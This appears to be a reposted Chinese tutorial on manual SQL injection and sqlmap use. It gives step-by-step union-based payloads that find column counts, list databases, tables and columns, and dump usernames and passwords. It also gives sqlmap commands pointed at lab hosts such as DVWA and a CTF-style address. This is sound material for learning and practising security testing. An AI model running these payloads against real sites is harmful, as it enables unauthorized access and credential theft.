当前位置: 首页 > news >正文

SQLI手动注入和python sqlmap代码注入

sql教程:

https://www.w3school.com.cn/sql/index.asp

数据库:

mysql 
oracle
mssql

常用方法

system_user()           系统用户名
user()                  用户名
current_user()          当前用户名
session_user()          连接数据库的用户名
database()              数据库名
version()               数据库版本
@@datadir               数据库路径
@@basedir               数据库安装路径
@@version_compile_os    操作系统
concat(str1,str2)       把str1和str2拼接到一起
group_concat()          一次性获取所有的数据库信息information_schema.schemata   包含了数据库里所有的数据库
schema_name                  储存了所有数据库的库名
table_schema                  数据库名
information_schema.tables      包含了数据库里所有的表
table_name                     表名
information_schema.columns     包含了数据库里所有的字段
column_name                    字段名

关键字

UNION
order by

注释

#
--   前后需要空格
-- #
--+  推荐使用这个,+会解释成空格

推测后台php处理id拼接的方法

$_id = $_GET['id']
如果是整型的话
$_sql = "select username,password from users where id=$_id"
$_sql = "select username,password from users where id="
如果是字符型的话
$_sql = "select username,password from users where id='$_id'"
$_sql = "select username,password from users where id='1' --+'"

【SQL注入方法】:
第一步,推测后台php存在整型注入还是字符型注入

1'
1' --+
1"
1" --+
1')
1') --+
1")
1") --+

第二步,使用order by确定列数

1' order by 1 --+
1' order by 2 --+
1' order by 3 --+
如果执行1' order by 4 --+报错,则只有3列

第三步,使用union 联合查询,将id弄成一个负数或0值,使前面的语句失效,然后看看union查询是否有回显位

?id=0' union select 1,version(),database() --+

查询出所有数据库名

?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

第四步,查询出指定数据库database()中的所有表名

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

第五步,查询出指定表’users’中的所有字段名

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步,查询出指定指定表user中的所有字段数值,0x5c表示用户名和密码用\分割,易于观察

?id=0' union select 1,2,group_concat(username,0x5c,password) from users --+

【job1】如何实现多行结果拼接

sql语句
select first_name from users #查询users表中的姓
select first_name from users --+ 查询users表中的姓
select * from users
select first_name from users where user_id=4 --+ 查询users表中id为4的姓
select version()
SELECT first_name FROM users
UNION
SELECT comment FROM guestbookSELECT first_name FROM users where user_id=1
select comment from guestbookselect concat((SELECT first_name FROM users where user_id=1),(select comment from guestbook))select concat((SELECT first_name FROM users),(select comment from guestbook))select * from information_schema.tables
select table_name from information_schema.tables#以下在security库中查询
select username,`password` from users where id='1'
select username,`password` from users where id=0 union select 1,version(),database(),2select 1select username,`password` from users order by 1

【pytho sqlmap使用方法】

https://github.com/sqlmapproject/sqlmap
python sqlmap.py -h
python sqlmap.py -u "http://220.249.52.134:58790/?inject=1" --dbs
python sqlmap.py -u "http://220.249.52.134:58790/?inject=1" -D supersqli --tables
python sqlmap.py -u "http://129.11.0.246/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users --column
python sqlmap.py -u "http://129.11.0.246/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users -C user,password --dump

相关文章:

  • 大数据毕业设计选题推荐-超级英雄运营数据监控平台-Hadoop-Spark-Hive
  • 使用【Python+Appium】实现自动化测试
  • HBase学习笔记(1)—— 知识点总结
  • C#,Python实践,用CodeFormer实现人脸重建(Face Restoration),模糊清晰、划痕修复及黑白上色
  • uniapp-实现微信授权登录
  • 网络安全(黑客)—小白自学
  • Pytorch 里面torch.no_grad 和model.eval(), model.train() 的作用
  • Docker本地部署Drupal并实现公网访问
  • 【课程笔记 - 目录】2023 微信公众号开发教程全开源
  • Docker安装、卸载,以及各种操作
  • MySQL性能分析工具的使用
  • python自动化测试selenium核心技术3种等待方式详解
  • OC-编译错误
  • 前端小技巧: 防抖和节流的区别
  • 根据json生成Java类
  • php的引用
  • 网络传输文件的问题
  • python3.6+scrapy+mysql 爬虫实战
  • 【vuex入门系列02】mutation接收单个参数和多个参数
  • Apache Pulsar 2.1 重磅发布
  • JAVA_NIO系列——Channel和Buffer详解
  • jdbc就是这么简单
  • MySQL主从复制读写分离及奇怪的问题
  • open-falcon 开发笔记(一):从零开始搭建虚拟服务器和监测环境
  • Perseus-BERT——业内性能极致优化的BERT训练方案
  • Vue2.0 实现互斥
  • 翻译:Hystrix - How To Use
  • 聊聊spring cloud的LoadBalancerAutoConfiguration
  • 买一台 iPhone X,还是创建一家未来的独角兽?
  • 前端面试总结(at, md)
  • 一个完整Java Web项目背后的密码
  • Python 之网络式编程
  • Spark2.4.0源码分析之WorldCount 默认shuffling并行度为200(九) ...
  • # 手柄编程_北通阿修罗3动手评:一款兼具功能、操控性的电竞手柄
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • (17)Hive ——MR任务的map与reduce个数由什么决定?
  • (floyd+补集) poj 3275
  • (solr系列:一)使用tomcat部署solr服务
  • (ZT)出版业改革:该死的死,该生的生
  • (八)Spring源码解析:Spring MVC
  • (二)Linux——Linux常用指令
  • (分布式缓存)Redis持久化
  • (附源码)ssm学生管理系统 毕业设计 141543
  • (机器学习-深度学习快速入门)第一章第一节:Python环境和数据分析
  • (每日持续更新)jdk api之FileFilter基础、应用、实战
  • (三)终结任务
  • (十五)Flask覆写wsgi_app函数实现自定义中间件
  • (四)Linux Shell编程——输入输出重定向
  • (算法)前K大的和
  • (转)人的集合论——移山之道
  • .NET Framework 服务实现监控可观测性最佳实践
  • .Net FrameWork总结
  • .NET gRPC 和RESTful简单对比
  • .Net程序猿乐Android发展---(10)框架布局FrameLayout
  • .net利用SQLBulkCopy进行数据库之间的大批量数据传递